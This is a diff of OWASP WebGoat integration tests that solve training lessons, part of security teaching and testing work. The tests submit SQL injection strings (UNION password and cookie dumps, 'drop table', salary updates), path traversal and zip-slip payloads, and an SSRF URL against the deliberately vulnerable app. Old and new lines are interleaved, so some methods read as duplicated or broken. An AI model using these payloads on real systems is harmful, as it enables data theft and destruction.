"HttpProxies", "CIA", "InsecureLogin", "Cryptography", "PathTraversal",
"XXE", "JWT", "IDOR", "SSRF", "WebWolfIntroduction", "CrossSiteScripting", "CSRF", "HijackSession",
"SqlInjection", "SqlInjectionMitigations" ,"SqlInjectionAdvanced",
"Challenge1");
for (String lesson: allLessons) {
startLesson(lesson);
List<String> hintKeys = getHints();
for (String key : hintKeys) {
String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
//System.out.println("key: " + key + " ,value: " + keyValue);
Assertions.assertNotNull(keyValue);
Assertions.assertNotEquals(key, keyValue);
}
}
//Assertions.assertEquals("http-basics.hints.http_basics_lesson.1", ""+jsonPath.getList("hint").get(0));
@Test
public void testLabels() {
JsonPath jsonPathLabels = getLabels("en");
Properties propsDefault = getProperties("");
for (String key : propsDefault.stringPropertyNames()) {
String keyValue =
jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
Assertions.assertNotNull(keyValue);
}
checkLang(propsDefault, "nl");
checkLang(propsDefault, "de");
checkLang(propsDefault, "fr");
checkLang(propsDefault, "ru");
}
@Test
public void testLabels() {
JsonPath jsonPathLabels = getLabels("en");
Properties propsDefault = getProperties("");
for (String key: propsDefault.stringPropertyNames()) {
String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR);
Assertions.assertNotNull(keyValue);
}
checkLang(propsDefault,"nl");
checkLang(propsDefault,"de");
checkLang(propsDefault,"fr");
checkLang(propsDefault,"ru");
private Properties getProperties(String lang) {
Properties prop = null;
if (lang == null || lang.equals("")) {
lang = "";
} else {
lang = "_" + lang;
}
try (InputStream input =
new FileInputStream("src/main/resources/i18n/messages" + lang + ".properties")) {
private Properties getProperties(String lang) {
Properties prop = null;
if (lang == null || lang.equals("")) { lang = ""; } else { lang = "_"+lang; }
try (InputStream input = new FileInputStream("src/main/resources/i18n/messages"+lang+".properties")) {
prop = new Properties();
// load a properties file
prop.load(input);
} catch (Exception e) {
e.printStackTrace();
}
return prop;
prop = new Properties();
// load a properties file
prop.load(input);
} catch (Exception e) {
e.printStackTrace();
}
return prop;
}
private void checkLang(Properties propsDefault, String lang) {
JsonPath jsonPath = getLabels(lang);
Properties propsLang = getProperties(lang);
private void checkLang(Properties propsDefault, String lang) {
JsonPath jsonPath = getLabels(lang);
Properties propsLang = getProperties(lang);
for (String key: propsLang.stringPropertyNames()) {
if (!propsDefault.containsKey(key)) {
System.err.println("key: " + key + " in (" +lang+") is missing from default properties");
Assertions.fail();
}
if (!jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR).equals(propsLang.get(key))) {
System.out.println("key: " + key + " in (" +lang+") has incorrect translation in label service");
System.out.println("actual:"+jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR));
System.out.println("expected: "+propsLang.getProperty(key));
System.out.println();
Assertions.fail();
}
}
for (String key : propsLang.stringPropertyNames()) {
if (!propsDefault.containsKey(key)) {
System.err.println("key: " + key + " in (" + lang + ") is missing from default properties");
Assertions.fail();
}
if (!jsonPath
.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR)
.equals(propsLang.get(key))) {
System.out.println(
"key: " + key + " in (" + lang + ") has incorrect translation in label service");
System.out.println(
"actual:" + jsonPath.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR));
System.out.println("expected: " + propsLang.getProperty(key));
System.out.println();
Assertions.fail();
}
}
}
private JsonPath getLabels(String lang) {
return RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language",lang)
.cookie("JSESSIONID", getWebGoatCookie())
//.log().headers()
.get(url("service/labels.mvc"))
.then()
//.log().all()
.statusCode(200).extract().jsonPath();
}
private List<String> getHints() {
JsonPath jsonPath = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/hint.mvc"))
.then()
//.log().all()
.statusCode(200).extract().jsonPath();
return jsonPath.getList("hint");
}
private JsonPath getLabels(String lang) {
return RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.header("Accept-Language", lang)
.cookie("JSESSIONID", getWebGoatCookie())
// .log().headers()
.get(url("service/labels.mvc"))
.then()
// .log().all()
.statusCode(200)
.extract()
.jsonPath();
}
private List<String> getHints() {
JsonPath jsonPath =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.contentType(ContentType.JSON)
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/hint.mvc"))
.then()
// .log().all()
.statusCode(200)
.extract()
.jsonPath();
return jsonPath.getList("hint");
}
}

View File

@ -1,8 +1,11 @@
package org.owasp.webgoat;
import io.restassured.RestAssured;
import lombok.SneakyThrows;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured;
import java.util.Arrays;
import java.util.Map;
import lombok.SneakyThrows;
import org.apache.commons.lang3.StringUtils;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.AfterEach;
@ -10,109 +13,137 @@ import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import java.util.Arrays;
import java.util.Map;
public class PasswordResetLessonIntegrationTest extends IntegrationTest {
@BeforeEach
@SneakyThrows
public void init() {
startLesson("/PasswordReset");
}
@BeforeEach
@SneakyThrows
public void init() {
startLesson("/PasswordReset");
}
@TestFactory
Iterable<DynamicTest> passwordResetLesson() {
return Arrays.asList(
dynamicTest("assignment 6 - check email link",()-> sendEmailShouldBeAvailableInWebWolf()),
dynamicTest("assignment 6 - solve assignment",()-> solveAssignment()),
dynamicTest("assignment 2 - simple reset",()-> assignment2()),
dynamicTest("assignment 4 - guess questions",()-> assignment4()),
dynamicTest("assignment 5 - simple questions",()-> assignment5())
);
}
public void assignment2() {
checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", this.getUser()+"@webgoat.org"), false);
checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", this.getUser()+"@webgoat.org", "password", StringUtils.reverse(this.getUser())), true);
}
@TestFactory
Iterable<DynamicTest> passwordResetLesson() {
return Arrays.asList(
dynamicTest("assignment 6 - check email link", () -> sendEmailShouldBeAvailableInWebWolf()),
dynamicTest("assignment 6 - solve assignment", () -> solveAssignment()),
dynamicTest("assignment 2 - simple reset", () -> assignment2()),
dynamicTest("assignment 4 - guess questions", () -> assignment4()),
dynamicTest("assignment 5 - simple questions", () -> assignment5()));
}
public void assignment4() {
checkAssignment(url("PasswordReset/questions"), Map.of("username", "tom", "securityQuestion", "purple"), true);
}
public void assignment2() {
checkAssignment(
url("PasswordReset/simple-mail/reset"),
Map.of("emailReset", this.getUser() + "@webgoat.org"),
false);
checkAssignment(
url("PasswordReset/simple-mail"),
Map.of(
"email",
this.getUser() + "@webgoat.org",
"password",
StringUtils.reverse(this.getUser())),
true);
}
public void assignment5() {
checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite animal?"), false);
checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite color?"), true);
}
public void assignment4() {
checkAssignment(
url("PasswordReset/questions"),
Map.of("username", "tom", "securityQuestion", "purple"),
true);
}
public void assignment5() {
checkAssignment(
url("PasswordReset/SecurityQuestions"),
Map.of("question", "What is your favorite animal?"),
false);
checkAssignment(
url("PasswordReset/SecurityQuestions"),
Map.of("question", "What is your favorite color?"),
true);
}
public void solveAssignment() {
//WebGoat
clickForgotEmailLink("tom@webgoat-cloud.org");
public void solveAssignment() {
// WebGoat
clickForgotEmailLink("tom@webgoat-cloud.org");
//WebWolf
var link = getPasswordResetLinkFromLandingPage();
// WebWolf
var link = getPasswordResetLinkFromLandingPage();
//WebGoat
changePassword(link);
checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true);
}
// WebGoat
changePassword(link);
checkAssignment(
url("PasswordReset/reset/login"),
Map.of("email", "tom@webgoat-cloud.org", "password", "123456"),
true);
}
public void sendEmailShouldBeAvailableInWebWolf() {
clickForgotEmailLink(this.getUser() + "@webgoat.org");
public void sendEmailShouldBeAvailableInWebWolf() {
clickForgotEmailLink(this.getUser() + "@webgoat.org");
var responseBody = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/mail"))
.then()
.extract().response().getBody().asString();
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
}
@AfterEach
public void shutdown() {
//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
checkResults("/PasswordReset");
}
private void changePassword(String link) {
var responseBody =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams("resetLink", link, "password", "123456")
.post(url("PasswordReset/reset/change-password"))
.then()
.statusCode(200);
}
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/mail"))
.then()
.extract()
.response()
.getBody()
.asString();
private String getPasswordResetLinkFromLandingPage() {
var responseBody = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests"))
.then()
.extract().response().getBody().asString();
int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
var link = responseBody.substring(startIndex + "/PasswordReset/reset/reset-password/".length(), responseBody.indexOf(",", startIndex) - 1);
return link;
}
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
}
private void clickForgotEmailLink(String user) {
@AfterEach
public void shutdown() {
// this will run only once after the list of dynamic tests has run, this is to test if the
// lesson is marked complete
checkResults("/PasswordReset");
}
private void changePassword(String link) {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams("resetLink", link, "password", "123456")
.post(url("PasswordReset/reset/change-password"))
.then()
.statusCode(200);
}
private String getPasswordResetLinkFromLandingPage() {
var responseBody =
RestAssured.given()
.when()
.header("host", String.format("%s:%s", "localhost", getWebWolfPort()))
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams("email", user)
.post(url("PasswordReset/ForgotPassword/create-password-reset-link"))
.then()
.statusCode(200);
}
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests"))
.then()
.extract()
.response()
.getBody()
.asString();
int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
var link =
responseBody.substring(
startIndex + "/PasswordReset/reset/reset-password/".length(),
responseBody.indexOf(",", startIndex) - 1);
return link;
}
private void clickForgotEmailLink(String user) {
RestAssured.given()
.when()
.header("host", String.format("%s:%s", "localhost", getWebWolfPort()))
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams("email", user)
.post(url("PasswordReset/ForgotPassword/create-password-reset-link"))
.then()
.statusCode(200);
}
}

View File

@ -1,16 +1,8 @@
package org.owasp.webgoat;
import io.restassured.RestAssured;
import lombok.SneakyThrows;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import org.junit.jupiter.api.io.TempDir;
import org.springframework.security.core.token.Sha512DigestUtils;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
@ -21,117 +13,138 @@ import java.util.Arrays;
import java.util.Map;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import lombok.SneakyThrows;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import org.junit.jupiter.api.io.TempDir;
import org.springframework.security.core.token.Sha512DigestUtils;
class PathTraversalIT extends IntegrationTest {
@TempDir
Path tempDir;
@TempDir Path tempDir;
private File fileToUpload = null;
private File fileToUpload = null;
@BeforeEach
@SneakyThrows
public void init() {
fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile();
Files.write(fileToUpload.toPath(), "This is a test".getBytes());
startLesson("PathTraversal");
@BeforeEach
@SneakyThrows
public void init() {
fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile();
Files.write(fileToUpload.toPath(), "This is a test".getBytes());
startLesson("PathTraversal");
}
@TestFactory
Iterable<DynamicTest> testPathTraversal() {
return Arrays.asList(
dynamicTest("assignment 1 - profile upload", () -> assignment1()),
dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
dynamicTest("assignment 5 - zip slip", () -> assignment5()));
}
private void assignment1() throws IOException {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.param("fullName", "../John Doe")
.post(url("/WebGoat/PathTraversal/profile-upload"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void assignment2() throws IOException {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.param("fullNameFix", "..././John Doe")
.post(url("/WebGoat/PathTraversal/profile-upload-fix"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void assignment3() throws IOException {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart(
"uploadedFileRemoveUserInput",
"../test.jpg",
Files.readAllBytes(fileToUpload.toPath()))
.post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void assignment4() throws IOException {
var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
RestAssured.given()
.urlEncodingEnabled(false)
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url(uri))
.then()
.statusCode(200)
.body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
checkAssignment(
url("/WebGoat/PathTraversal/random"),
Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())),
true);
}
private void assignment5() throws IOException {
var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
webGoatHome =
webGoatHome.replaceAll("^[a-zA-Z]:", ""); // Remove C: from the home directory on Windows
var webGoatDirectory = new File(webGoatHome);
var zipFile = new File(tempDir.toFile(), "upload.zip");
try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg");
zos.putNextEntry(e);
zos.write("test".getBytes(StandardCharsets.UTF_8));
}
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
.post(url("/WebGoat/PathTraversal/zip-slip"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
@TestFactory
Iterable<DynamicTest> testPathTraversal() {
return Arrays.asList(
dynamicTest("assignment 1 - profile upload", () -> assignment1()),
dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
dynamicTest("assignment 5 - zip slip", () -> assignment5())
);
}
private void assignment1() throws IOException {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.param("fullName", "../John Doe")
.post(url("/WebGoat/PathTraversal/profile-upload"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
}
private void assignment2() throws IOException {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.param("fullNameFix", "..././John Doe")
.post(url("/WebGoat/PathTraversal/profile-upload-fix"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
}
private void assignment3() throws IOException {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileRemoveUserInput", "../test.jpg", Files.readAllBytes(fileToUpload.toPath()))
.post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
}
private void assignment4() throws IOException {
var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
RestAssured.given().urlEncodingEnabled(false)
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url(uri))
.then()
.statusCode(200)
.body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
checkAssignment(url("/WebGoat/PathTraversal/random"), Map.of("secret",
Sha512DigestUtils.shaHex(this.getUser())), true);
}
private void assignment5() throws IOException {
var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows
var webGoatDirectory = new File(webGoatHome);
var zipFile = new File(tempDir.toFile(), "upload.zip");
try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg");
zos.putNextEntry(e);
zos.write("test".getBytes(StandardCharsets.UTF_8));
}
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
.post(url("/WebGoat/PathTraversal/zip-slip"))
.then()
.statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true));
}
@AfterEach
void shutdown() {
//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete
checkResults("/PathTraversal");
}
@AfterEach
void shutdown() {
// this will run only once after the list of dynamic tests has run, this is to test if the
// lesson is marked complete
checkResults("/PathTraversal");
}
}

View File

@ -2,10 +2,6 @@ package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.response.Response;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.Test;
import java.util.List;
import java.util.Map;
import java.util.concurrent.Callable;
@ -14,40 +10,48 @@ import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.stream.Collectors;
import java.util.stream.IntStream;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.Test;
public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
@Test
public void runTests() throws InterruptedException {
int NUMBER_OF_CALLS = 40;
int NUMBER_OF_PARALLEL_THREADS = 5;
startLesson("Challenge1");
Callable<Response> call = () -> {
//System.out.println("thread "+Thread.currentThread().getName());
return RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(Map.of("flag", "test"))
.post(url("/challenge/flag/"));
@Test
public void runTests() throws InterruptedException {
int NUMBER_OF_CALLS = 40;
int NUMBER_OF_PARALLEL_THREADS = 5;
startLesson("Challenge1");
Callable<Response> call =
() -> {
// System.out.println("thread "+Thread.currentThread().getName());
return RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(Map.of("flag", "test"))
.post(url("/challenge/flag/"));
};
ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS);
List<? extends Callable<Response>> flagCalls = IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
var responses = executorService.invokeAll(flagCalls);
ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS);
List<? extends Callable<Response>> flagCalls =
IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
var responses = executorService.invokeAll(flagCalls);
//A certain amount of parallel calls should fail as optimistic locking in DB is applied
long countStatusCode500 = responses.stream().filter(r -> {
try {
//System.err.println(r.get().getStatusCode());
return r.get().getStatusCode() != 200;
} catch (InterruptedException | ExecutionException e) {
//System.err.println(e);
throw new IllegalStateException(e);
}
}).count();
System.err.println("counted status 500: "+countStatusCode500);
Assertions.assertThat(countStatusCode500).isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS/NUMBER_OF_PARALLEL_THREADS)));
}
// A certain amount of parallel calls should fail as optimistic locking in DB is applied
long countStatusCode500 =
responses.stream()
.filter(
r -> {
try {
// System.err.println(r.get().getStatusCode());
return r.get().getStatusCode() != 200;
} catch (InterruptedException | ExecutionException e) {
// System.err.println(e);
throw new IllegalStateException(e);
}
})
.count();
System.err.println("counted status 500: " + countStatusCode500);
Assertions.assertThat(countStatusCode500)
.isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS / NUMBER_OF_PARALLEL_THREADS)));
}
}

View File

@ -3,28 +3,24 @@ package org.owasp.webgoat;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class SSRFIntegrationTest extends IntegrationTest {
@Test
public void runTests() throws IOException {
startLesson("SSRF");
@Test
public void runTests() throws IOException {
startLesson("SSRF");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("url", "images/jerry.png");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("url", "images/jerry.png");
checkAssignment(url("/WebGoat/SSRF/task1"),params,true);
params.clear();
params.put("url", "http://ifconfig.pro");
checkAssignment(url("/WebGoat/SSRF/task2"),params,true);
checkResults("/SSRF/");
}
checkAssignment(url("/WebGoat/SSRF/task1"), params, true);
params.clear();
params.put("url", "http://ifconfig.pro");
checkAssignment(url("/WebGoat/SSRF/task2"), params, true);
checkResults("/SSRF/");
}
}

View File

@ -24,24 +24,22 @@
package org.owasp.webgoat;
import java.util.Map;
import org.junit.jupiter.api.Test;
/**
*
* @author Angel Olle Blazquez
*
*/
class SessionManagementIT extends IntegrationTest {
private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";
private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";
@Test
void hijackSessionTest() {
startLesson("HijackSession");
@Test
void hijackSessionTest() {
startLesson("HijackSession");
checkAssignment(url(HIJACK_LOGIN_CONTEXT_PATH), Map.of("username", "webgoat", "password", "webgoat"), false);
}
checkAssignment(
url(HIJACK_LOGIN_CONTEXT_PATH),
Map.of("username", "webgoat", "password", "webgoat"),
false);
}
}

View File

@ -2,48 +2,60 @@ package org.owasp.webgoat;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
@Test
public void runTests() {
startLesson("SqlInjectionAdvanced");
@Test
public void runTests() {
startLesson("SqlInjectionAdvanced");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username_reg", "tom' AND substring(password,1,1)='t");
params.put("password_reg", "password");
params.put("email_reg", "someone@microsoft.com");
params.put("confirm_password", "password");
checkAssignmentWithPUT(url("/WebGoat/SqlInjectionAdvanced/challenge"), params, true);
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username_reg", "tom' AND substring(password,1,1)='t");
params.put("password_reg", "password");
params.put("email_reg", "someone@microsoft.com");
params.put("confirm_password", "password");
checkAssignmentWithPUT(url("/WebGoat/SqlInjectionAdvanced/challenge"), params, true);
params.clear();
params.put("username_login", "tom");
params.put("password_login", "thisisasecretfortomonly");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/challenge_Login"), params, true);
params.clear();
params.put("username_login", "tom");
params.put("password_login", "thisisasecretfortomonly");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/challenge_Login"), params, true);
params.clear();
params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
params.clear();
params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
params.clear();
params.put("userid_6a", "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from user_system_data --");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
params.clear();
params.put(
"userid_6a",
"Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from"
+ " user_system_data --");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
params.clear();
params.put("userid_6b", "passW0rD");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true);
params.clear();
params.put("userid_6b", "passW0rD");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true);
params.clear();
params.put("question_0_solution", "Solution 4: A statement has got values instead of a prepared statement");
params.put("question_1_solution", "Solution 3: ?");
params.put("question_2_solution", "Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.");
params.put("question_3_solution", "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data.");
params.put("question_4_solution", "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true);
params.clear();
params.put(
"question_0_solution",
"Solution 4: A statement has got values instead of a prepared statement");
params.put("question_1_solution", "Solution 3: ?");
params.put(
"question_2_solution",
"Solution 2: Prepared statements are compiled once by the database management system"
+ " waiting for input and are pre-compiled this way.");
params.put(
"question_3_solution",
"Solution 3: Placeholders can prevent that the users input gets attached to the SQL query"
+ " resulting in a seperation of code and data.");
params.put(
"question_4_solution",
"Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true);
checkResults("/SqlInjectionAdvanced/");
}
checkResults("/SqlInjectionAdvanced/");
}
}

View File

@ -2,77 +2,77 @@ package org.owasp.webgoat;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
public static final String sql_2 = "select department from employees where last_name='Franco'";
public static final String sql_3 = "update employees set department='Sales' where last_name='Barnett'";
public static final String sql_4_drop = "alter table employees drop column phone";
public static final String sql_4_add = "alter table employees add column phone varchar(20)";
public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
public static final String sql_9_account = " ' ";
public static final String sql_9_operator = "or";
public static final String sql_9_injection = "'1'='1";
public static final String sql_10_login_count = "2";
public static final String sql_10_userid = "1 or 1=1";
public static final String sql_2 = "select department from employees where last_name='Franco'";
public static final String sql_3 =
"update employees set department='Sales' where last_name='Barnett'";
public static final String sql_4_drop = "alter table employees drop column phone";
public static final String sql_4_add = "alter table employees add column phone varchar(20)";
public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
public static final String sql_9_account = " ' ";
public static final String sql_9_operator = "or";
public static final String sql_9_injection = "'1'='1";
public static final String sql_10_login_count = "2";
public static final String sql_10_userid = "1 or 1=1";
public static final String sql_11_a = "Smith' or '1' = '1";
public static final String sql_11_b = "3SL99A' or '1'='1";
public static final String sql_11_a = "Smith' or '1' = '1";
public static final String sql_11_b = "3SL99A' or '1'='1";
public static final String sql_12_a = "Smith";
public static final String sql_12_b = "3SL99A' ; update employees set salary= '100000' where last_name='Smith";
public static final String sql_12_a = "Smith";
public static final String sql_12_b =
"3SL99A' ; update employees set salary= '100000' where last_name='Smith";
public static final String sql_13 = "%update% '; drop table access_log ; --'";
public static final String sql_13 = "%update% '; drop table access_log ; --'";
@Test
public void runTests() {
startLesson("SqlInjection");
@Test
public void runTests() {
startLesson("SqlInjection");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("query", sql_2);
checkAssignment(url("/WebGoat/SqlInjection/attack2"), params, true);
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("query", sql_2);
checkAssignment(url("/WebGoat/SqlInjection/attack2"), params, true);
params.clear();
params.put("query", sql_3);
checkAssignment(url("/WebGoat/SqlInjection/attack3"), params, true);
params.clear();
params.put("query", sql_3);
checkAssignment(url("/WebGoat/SqlInjection/attack3"), params, true);
params.clear();
params.put("query", sql_4_add);
checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, true);
params.clear();
params.put("query", sql_4_add);
checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, true);
